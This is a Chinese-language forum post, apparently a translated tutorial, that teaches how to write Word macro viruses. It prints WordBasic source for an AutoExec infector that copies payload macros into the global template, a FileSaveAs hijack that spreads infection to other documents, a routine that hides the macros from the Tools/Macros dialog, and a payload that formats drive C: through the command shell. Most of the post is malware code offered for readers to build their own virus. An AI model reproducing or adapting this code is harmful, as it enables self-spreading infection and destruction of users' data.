论坛: 病毒专区 标题: 宏病毒的基础知识 复制本贴地址    
作者: chinared [chinared]    论坛用户   登录
入门
-------------

vbb 是一病毒组织,dark night是其中一员,以下介绍一下宏病毒

工具
----------

首先你需要WORD 6或更高的版本, 你要把你的正常的摸板备份到目录
WINWORD6\TEMPLATE\ ,要学习最基本的VBASIC的概念。

THE GENERAL STUFF
-----------------

所有的宏病毒都有一个基本的结构. 他们总是使用感染病毒的自动启动摸板来开始的他们总有特定的几个行为. 例如: FileSaveAs, FileSave, FileOpen, ToolsMacros.已感染的文档传染其他的文档 并且执行下次启动时打开他们. 一个自动执行的代码就象以下所列的那样
‘....'中是我的注释

Sub MAIN
On Error Goto Abort
iMacroCount = CountMacros(0, 0)
‘检查是否感染’
For i = 1 To iMacroCount
If MacroName$(i, 0, 0) = "PayLoad" Then
bInstalled = - 1
‘检查正常的宏’
End If
If MacroName$(i, 0, 0) = "FileSaveAs" Then
bTooMuchTrouble = - 1
'但如果FILESAVEAS 宏存在那么传染比较困难.
End If
Next i
If Not bInstalled And Not bTooMuchTrouble Then
'加入FileSaveAs 和拷贝到AutoExec and FileSaveAs.
'有效代码不检查是否感染.
'把代码加密使不可读.
iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
sMe$ = FileName$()
Macro$ = sMe$ + ":PayLoad"
MacroCopy Macro$, "Global:PayLoad", 1
Macro$ = sMe$ + ":FileOpen"
MacroCopy Macro$, "Global:FileOpen", 1
Macro$ = sMe$ + ":FileSaveAs"
MacroCopy Macro$, "Global:FileSaveAs", 1
Macro$ = sMe$ + ":AutoExec"
MacroCopy Macro$, "Global:AutoExec", 1
SetProfileString "WW6I", Str$(iWW6IInstance + 1)
End If
Abort:
End Sub


SaveAs 程序
------------------
这是一个当使用FILE/SAVE AS功能拷贝宏病毒到活动文本的程序 . 它使用了许多类似于 AutoExec 程序的技巧. 在这里的代码使看起来象SAVE AS的样子

'你能使用1再次加密代码.

Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
If (Dlg.Format = 0) Or (dlg.Format = 1) Then
MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs"
MacroCopy "FileSave ", WindowName$() + ":FileSave"
MacroCopy "PayLoad", WindowName$() + ":PayLoad"
MacroCopy "FileOpen", WindowName$() + ":FileOpen"
Dlg.Format = 1
End If
FileDaveAs dlg
End Sub

简要精悍 这些已经可以制作一个小巧的宏病毒.


特殊代码
----------------
还有些方法可以用来隐藏和使你的VIRUS更有趣. 你可以做个宏来掩饰你的VIRUS,当有些人使用TOOLS/MICRO菜单观察宏时. 例如:

Sub MAIN
On Error Goto ErrorRoutine

OldName$ = NomFichier$()

If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dlg As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dlg
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog dlg
OutilsMacro dlg
Skip:
On Error Goto ErrorRoutine
End If

REM enable automacros
DisableAutoMacros 0

macros.SavToGlobal(OldName$)
macros.objectiv
Goto Done

ErrorRoutine:
On Error Goto Done
If macros.bDebug Then
MsgBox "error " + Str$(Err) + " occurred"
End If

Done:
End Sub

当然你也可做些子程序. 例如 NUCLEAR VIRUS尝试编译外部病毒或者一些木马程序,当你打开文件时FORMAT你的硬盘. 例如无条件的格式化子程序:

sCmd$ = "echo y|format c: /u"
Shell Environment$ ("COMSPEC") + "/c" + sCmd$, 0

同样的你也可能想加入密码或 当当前秒数为13时给出一端错误信息:

Sub MAIN
On Error Goto ByeBye

.
. 'Infection code
.
.
.
\/

ByeBye:
If (second(Now()) = 13) Then
Dlg.Password = "Dark_Night" '设置密码为 DARK_NIGHT! :-D 

                                                                        


地主 发表时间: 08/20 10:10

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号